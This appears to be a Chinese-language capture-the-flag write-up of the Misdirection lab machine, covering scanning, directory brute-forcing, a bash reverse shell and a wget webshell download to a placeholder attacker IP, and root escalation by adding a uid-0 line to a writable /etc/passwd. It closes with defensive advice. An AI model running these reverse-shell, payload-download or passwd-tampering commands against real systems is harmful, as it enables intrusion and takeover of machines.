打靶日记--Misdirection
字数 1318 2025-08-29 08:29:41
Web渗透测试实战教学:从信息搜集到提权
1. 信息搜集阶段
1.1 主机发现与端口扫描
首先使用Nmap等工具进行主机发现和端口扫描,发现目标开放了以下端口:
- 22 (SSH)
- 80 (HTTP)
- 3306 (MySQL)
- 8080 (HTTP备用端口)
优先级排序:
- 80和8080端口(Web服务)
- 3306端口(数据库)
- 22端口(SSH)
1.2 服务版本识别
对开放的端口进行版本扫描,发现:
- 80端口运行的是Python搭建的网络服务
- 8080端口运行的是Web2py框架
1.3 漏洞扫描
初步扫描结果:
- 80端口报告可能存在SQL注入(但验证后为误报)
- 8080端口发现几个可访问目录
2. 渗透阶段
2.1 80端口分析
80端口运行一个投票系统,尝试以下步骤:
- 尝试注册账户,但发现邮件端口未配置导致注册失败
- 检查Web2py框架漏洞(已知Web2py存在漏洞但利用较复杂)
2.2 8080端口分析
8080端口显示网站搭建成功页面,进一步操作:
- 目录爆破(即使Nmap已扫描,仍需详细扫描)
- 使用工具:Dirbuster、Gobuster等
- 发现多个目录,大部分为空或隐藏内容
- 关键发现:在debug目录下找到一个功能完整的shell
3. 初始访问获取
3.1 Shell获取
发现debug目录下的shell后:
- 确认shell功能完整,用户为www-data
- 选择反弹shell方法:
- 直接使用bash反弹
- 或上传webshell文件(需注意文件权限)
实际操作:
# 方法一:直接反弹shell
bash -i >& /dev/tcp/[攻击机IP]/[端口] 0>&1
# 方法二:上传webshell(示例)
wget http://[攻击机IP]/shell.php -O /path/to/shell.php
chmod +x /path/to/shell.php
4. 权限提升
4.1 初始权限检查
获取初始shell后:
- 检查当前用户权限
- 发现可以无密码切换到brexit用户:
sudo -u brexit /bin/bash
4.2 提升shell交互性
改善shell体验:
# 使用Python提升交互性
python -c 'import pty;pty.spawn("/bin/sh")'
# 设置终端类型
export TERM=xterm-color
4.3 提权路径发现
查找可写文件:
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null
关键发现:可以修改/etc/passwd文件
4.4 通过/etc/passwd提权
步骤:
-
查看root账户在/etc/passwd中的格式
-
生成root权限账户:
# 生成加密密码 openssl passwd -1 -salt [salt] [password] # 示例(密码为"password"): openssl passwd -1 -salt abc password -
构造root权限用户行(模仿root格式):
testuser:生成的密码哈希:0:0:root:/root:/bin/sh -
写入/etc/passwd
注意:如果遇到/bin/bash不存在,改为/bin/sh
4.5 验证提权
使用创建的用户登录验证root权限:
su testuser
5. 关键知识点总结
- 信息搜集优先级:Web服务>数据库>SSH
- 目录爆破:即使初步扫描已完成,仍需详细扫描
- Shell获取:多种方法需根据实际情况选择
- 权限提升路径:
- 检查sudo权限
- 查找可写文件
- 重点检查/etc/passwd、/etc/shadow等关键文件
- 密码生成:使用openssl生成符合/etc/passwd格式的密码
- 系统差异:注意不同Linux发行版的shell路径可能不同
6. 防御建议
-
Web服务:
- 关闭调试接口
- 限制目录访问权限
- 及时更新框架补丁
-
系统安全:
- 设置/etc/passwd为只读
- 定期检查用户账户
- 限制sudo权限
-
监控:
- 监控关键文件修改
- 记录异常登录行为
本案例展示了从信息搜集到提权的完整流程,重点在于发现非常规入口(debug目录)和利用系统配置不当(可写的/etc/passwd)进行提权。